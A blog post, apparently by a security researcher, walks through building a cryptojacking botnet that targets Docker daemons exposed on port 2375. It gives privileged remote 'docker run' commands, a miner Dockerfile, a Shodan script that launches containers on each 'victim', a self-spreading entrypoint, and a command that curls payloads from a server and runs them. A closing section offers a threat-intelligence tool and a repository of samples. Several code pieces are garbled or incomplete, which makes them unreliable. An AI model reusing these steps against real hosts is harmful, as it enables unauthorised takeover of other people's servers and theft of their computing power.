Docker Botnets…

How to build a network of illegal money generation 101…

Introduction

As a precursor: I am not responsible for anyone using this information maliciously or for criminal ends. I merely have had enough of this topic ignored and or being put to the wayside it seems.

Over the past two years, I have been collecting and acquiring a specialized set of botnets that are all centered around the exploitation of Docker container devices. Albeit this is a small part of the internet, it can yield some great results for criminals for free(!) and only looks to be adopted more widely in the years to come.

From what I can tell from my research into the topic and allocation of past exploitations, this method that will be discussed is one that has been around since the earlier parts of 2017 and have continued into the present day.

Without further ado… Let’s get into it.

The vulnerability

Let’s get the precursory stuff out of the way here. I could rehash the container vs. VM literature I wrote in college, but I’ll keep it simple.
A virtual machine: This is a machine within a machine. VirtualBox, VMware, HyperV and other platforms are used to make a machine within a machine; Hard drives, operating systems, RAM allocations and all.

A container: This shares the kernel of the operating system to run basically alongside of the host processes. e.g. “Docker, run a webserver but don’t allocate 20 GB of space, and just pipe the logs from the server into my log directory in my home directory”.

Sounds great, right? Smaller package. Everything just works. This is where I come in saying the kids are “not alright”.

Let’s for a moment understand what Docker is doing when it is installing and running on the system (this comes into play later as why this vulnerability won’t be fixed).  When you’re installing Docker, you’re actually installing a daemon socket onto your system that talks to the kernel over a tcp:// call. By default, this is setup with either ports 2375 (unencrypted) or 2376 (TLS encrypted traffic). This is otherwise known as the Docker socket. This socket handles all the API requests that a Docker client makes to the machine. For example, it will send to your internal socket the command `docker ps -a` and show you all of the running containers and subsequent information. At this point, this is only going to be accessible to the local machine.

So, let’s say a web developer Bob decides that he wants to run his applications in a cloud environment and have everything running on Docker. Well, you could just SSH into the box, install Docker and install the apps to run in their own containers. But to streamline product releases, he decides to expose the Docker daemon to the internet so he can run commands on it from his home office (docker -H tcp://<some IP>:2375…).  This is where the vulnerability is… Tenable calls it ‘Docker Daemon Publicly Accessible’ (or something like that). I call it opening a shell up to the internet for anyone to connect to as root… Let’s break it down.

Figure 1:

Running a container on a local machine:

docker run -it ubuntu:latest

Running a container with elevated privileges on your local machine:

docker run -it –privileged ubuntu:latest

Running a container on someone else’s machine with elevated privileges:

docker -H : run -it –privileged ubuntu:latest

There it is… that is the vulnerability. A gross misconfiguration of the Docker daemon that exposes it to the internet if put into a cloud environment or allowed egress. With the  ‘–privileged’ flag, you’re given root access to the container which can be used in a plethora of privilege escalation attacks.

Build a botnet

Now we have the vulnerability. Next, all we need to do is get some logic in place to make our goal. What is our goal? Do we want to breach data that may be on the endpoints? Yes, passwords and other information could be gathered, but that will draw a lot of heat. Do we want to get into an organization’s internal network for a ransomware attack? We could, but that is going to be a lot of work, and will be hit and miss with the attack surface, and a lot of other things need to be in place. We want consistency. We could just use the free processing power to mine crypto; Monero (XMR) coin specifically. And that’s what we’ll build.

So, we have our vulnerability that we want to exploit and our goal. Time to build it.

We want the container to be running something that doesn’t draw too much attention to ourselves.

Using the base alpine image as a start will be the perfect option. Small and to the point, and most admins will just think that someone was tinkering on it or ran a stack overflow cmdlet.
Alright, but how are we delivering our payload to the container? We have some options, but some are better than others.

Docker Hub Image: (No joke, this used to be the most prevalent way to do this)

Alright we make a temporary account on docker hub and just host our image there. We build out a docker file that looks a little like this.


FROM alpine:latest

ADD  /opt/totally_not_a_miner

Entrypoint ‘/bin/sh /opt/totally_not_a_miner

Okay now that we have this let’s upload it… Now what?

Now we need to have a client make the necessary calls to our victims. This can just be an AWS Ec2 server with Docker installed on it so that it can make the necessary API calls discussed in Figure 1.

But how do we know what IP’s are vulnerable? Well, we can use Shodan and python on the ec2 server that we’ve setup.

Figure 2

import shodan
import os

ip_list = []
api = shodan.Shodan(“&lt;api key”)

results = api.search(“product:docker port:2375”)

for result in results[‘matches’]:
    ip_list.append(results[‘ip_str’])

for victim in ip_list:
    try:
       os.system(‘docker -H {} run ’.format(victim))    
   except:
        print(‘failure on: {} \n Victim no pwned?!?!?’)

There we go, nice and simple and we can run it on our cloud box and just watch as the Monero coins come in (Note: I’ve skipped account creation and mining wallet setup because it’s not the focus of this article).

But what do we do if we have our command and control (C2) server taken down? Let’s add a little bit of code to our DOCKERFILE to make it so that the rest of the containers do the same search and bring us the goodies.

First, we will write a bash file called btnet.txt (No joke this was a filename from the first one that I found, and took me way too long to notice)

Figure 3

#! /bin/bash 
// Ensure python is installed
apk add python3

// Run the miner
/opt/total_not_a_miner

// Run Botnet Logic
python 

Figure 4: Docker file edit

ADD btnet.txt /root/btnet.txt
ENTRYPOINT ‘/bin/bash ./btnet.txt’

Now we have each of our bots not only mining crypto currency for us, but also going out and being their own command and control servers. It is messy, but it will work for a quick approach.

This was the most prevalent approach, and was seen in the wild:

https://unit42.paloaltonetworks.com/graboid-first-ever-cryptojacking-worm-found-in-images-on-docker-hub/

However, this brings up an issue. What if someone sees our image and reports it to Docker hub for takedown? Our operation will stop at where it is at.

Move to option two.

Curl and Masscan your way to victory:

Like the Docker image method, we’ll keep everything the same but move our botnet logic to using Masscan (https://github.com/robertdavidgraham/masscan) and have our C2 be the starting point. Additionally, we’ll drop the DOCKERFILE as we’re going to only use publicly available images.

To not make it too easy for people I’m only going to state the steps:

  1. Setup ec2 server with our code on it and Docker installed.
  2. Scan the internet (0.0.0.0) with Masscan and parse out the IP addresses that are running port 2375 open to the internet
  3. Run docker command from ec2 server. (Figure 5)
  4. ???
  5. Profit

Figure 5:

docker -H --entrypoint=’curl -o /opt/btnet.txt http:// []/btnet.txt &amp;&amp; \\ curl -o /opt/totally_not_a_miner http:// []/totally_not_a_miner &amp;&amp; \\ curl -o /opt/get_all_victims.py http:// []/get_all_victims.py &amp;&amp; \\ apk add python3 &amp;&amp; \\ /bin/sh btnet.txt’ alpine:latest

That’s pretty much it for the steps to building a quick and dirty (Probably doesn’t work but *shrug*) botnet in two different methods that have been observed in the wild. There is also a common practice that I have observed and that is a ‘kill list’. Essentially a ‘kill list’ is another shell script that is added to the logic of the botnet to look and see if there is any ‘competition’ (other mining bots) on the container or the host processes (–privilege allows you to mount the host’s drive to the container and you can edit the crontab and run your miner with more of the hosts resources) to make sure that their bot is the only bot.

Fight Back

One of the main issues that I see with this is that it is a configuration issue. It’s not technically a vulnerability with Docker out of the box. It’s also not intended to be put out on the internet for anyone and everyone to be able to ping it. Thus, it will not get fixed. “But what if they removed the `docker-socket` command?” They could but remember what I said in the ‘Vulnerability Section’ when you’re installing Docker, you’re actually installing a daemon socket onto your system that talks to the kernel over a tcp:// call’. So from what it sounds like, the docker-socket is an inherent and critical part to how Docker containers actually create containers. Therefore, I do not have an end all be all fix for the platform itself.

However, I can give out the tools of the trade and any samples that I have accrued over the past two years of researching and gathering intel on this specific kind of threat actor.

So I wrote a tool and workflow that can aid in threat intelligence research into taking down these botnets and observing the different actors as they move from one version to another.

The tool is called Dalek: (https://github.com/Caprico1/Dalek)

In its current state, it will take the queries below and parse out every docker container that Shodan (https://shodan.io) can see on the internet.

  • Python3 dalek.py –keyword “product:docker port:2375”
  • Python3 dalek.py –keyword “product:docker port:2376”
  • Python3 dalek.py –keyword “product:docker port:4243”

The documentation page goes more in depth on how to use the tool, but those queries will give you a start on seeing at least the top 100 results from each of those queries (append –all_results and you’ll have a json file download requested from Shodan with every result).

Next, I would have two virtual machines setup (VirtualBox):

  • Docker-machine (deprecated)
    • This is a tool that you can still install and will create a small virtual machine that you can use to store any malicious docker images that you may want to pull down from dockerhub.
  • Investigation Machine:
    • Just a closed off linux virtual machine that can curl or to protect your identity.

Additionally, I would get an IDE that is able to give you enough tools to really parse through what the tool outputs and what you may or may not pull down from threat actor C2’s. I recommend Atom (https://atom.io/) as it can read multiple syntaxes without much setup and it’s free.

With that you are well on your way to investigating away.

Finally, for the big hurrah.

I have posted any and all docker botnets that I have observed and have found in my research for the last two years.

Github Link: https://github.com/Caprico1/Docker-Botnets

This is not to be used maliciously as I stated at the beginning of the article. It is to be used to help in thwarting this attack from being exploited. Rather, I want this to be a point where we as a security community can tackle this together. As it is too much for one person to do on their own.

Conclusion

To conclude this, we have walked through the vulnerability that misconfigured Docker sockets are, the basics of what a crypto mining botnet using Docker will look like, and how we can fight back as a community. This has been a pet project of mine for a long time and I think It’s time well past due for me to share what I have with everyone.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s